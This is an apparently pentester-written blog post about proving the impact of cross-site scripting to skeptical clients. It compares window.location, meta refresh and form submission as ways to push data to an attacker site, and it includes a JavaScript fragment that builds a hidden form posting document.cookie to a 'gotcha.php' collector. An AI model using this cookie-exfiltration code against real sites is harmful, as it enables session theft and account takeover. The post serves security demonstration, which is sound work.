Operation n

This goes back to the post about XSS tutorial and filtering.
Now as you may know, the litmus test for XSS is <script>alert(’michael daw woz ere’);</script>. However, this proof may not satisify some companies who will handwave it off, claiming its not their problem. Allowing vulnerable code to be executed at your website is definitely in their court!
I had to prepare myself for the careless attitude to XSS for a client by devising a proof of concept. Naturally in the end, I didn’t need to. But still, it is a worthwhile exercise.
The bog standard way to use XSS is as a phishing attack. That is to generate a secondary website through client-side scripting, which could look like the current site. Only any details submitted would be to an attacker site. Alternatively, your site could be used as a place for a phishing attack on a different website. This stepping stone style attack will probably cause more embarrassment than anything else.
But I was thinking, “Can you still make a XSS script attack to automatically upload information?”. The short answer is yes, you can! This is despite well-documented fixes to iframes and htmlrequests.
Initially, I thought of three different ways to send information by simply visiting a URL with XSS.
1. window.location
2. meta refresh
3. form submit
The first one does work. Of course, you do get redirected to another location, i.e. the attacker site. However, the attacker can have a page or script that bounces the user back to the attacked site.
The second one doesn’t work. You can create a meta tag object and populate its attributes. However, nothing appears to happen. This probably makes sense, as a page without the meta refresh is already loaded. Simply adding a meta tag object is going to load anything. The following is some code fragment for this.

var meta1 = document.createElement(’<meta>’);
var a;
a = document.createAttribute(’HTTP-EQUIV’);
a.nodeValue = “Refresh”;
meta1.setAttributeNode(a);

a = document.createAttribute(’CONTENT’);
a.nodeValue = “2; URL=http://www.htmlhelp.com/”;
meta1.setAttributeNode(a);

The final one does work. Internet Explorer will inform the user that you transferring to another site. However, Firefox does not appear to do this. Yes, you can create form and then incorporate any information from the attacked site into it and then submit on-the-fly. The following is code fragment from a script I wrote (please note that setAttributes method is simply a function that takes an object and an attribute (hash) array and populates that object with those attributes.

var form1 = document.createElement(’<form>’);
var a = new Array();
a['action'] = “http://…/cookie/gotcha.php”;
a['method'] = “get”;
a['name'] = “t”;
this.setAttributes(form1,a);

form1.appendChild(input);

input = document.createElement(’<input>’);
a = new Array();
a['name'] = “cookie2″;
a['type'] = “hidden”;
a['value'] = document.cookie;
this.setAttributes(input,a);

form1.appendChild(input);

If the same cross-domain fix that is applied to iframes and httprequests is used. This would stop main sites from using form and scripts from other popular sites. For example, the google search on the right hand side of this very page would not work! So due to lingustics, I don’t think that the cross domain approach can be used here.

As an aside, there are a lot of Javascript methods that can be used to do a lot of rendering for your web browser.

I’ve not quite got the Proof of Concept perfect (i.e. the server side needs to redirect to the attacked site) But I mentioning it now because there has been discussions about this already on gnucitizen. This talks bout another a way to send information to a foreign site without user intervention using the weakness in image tags and timeouts. I would go further to say that the weakness lies in the ’src’ property of that tag. And even though this is unproven, I reckon other pluggable tags are affected. Some tags with the src property include applet, embed, img, input type=image, object, xml.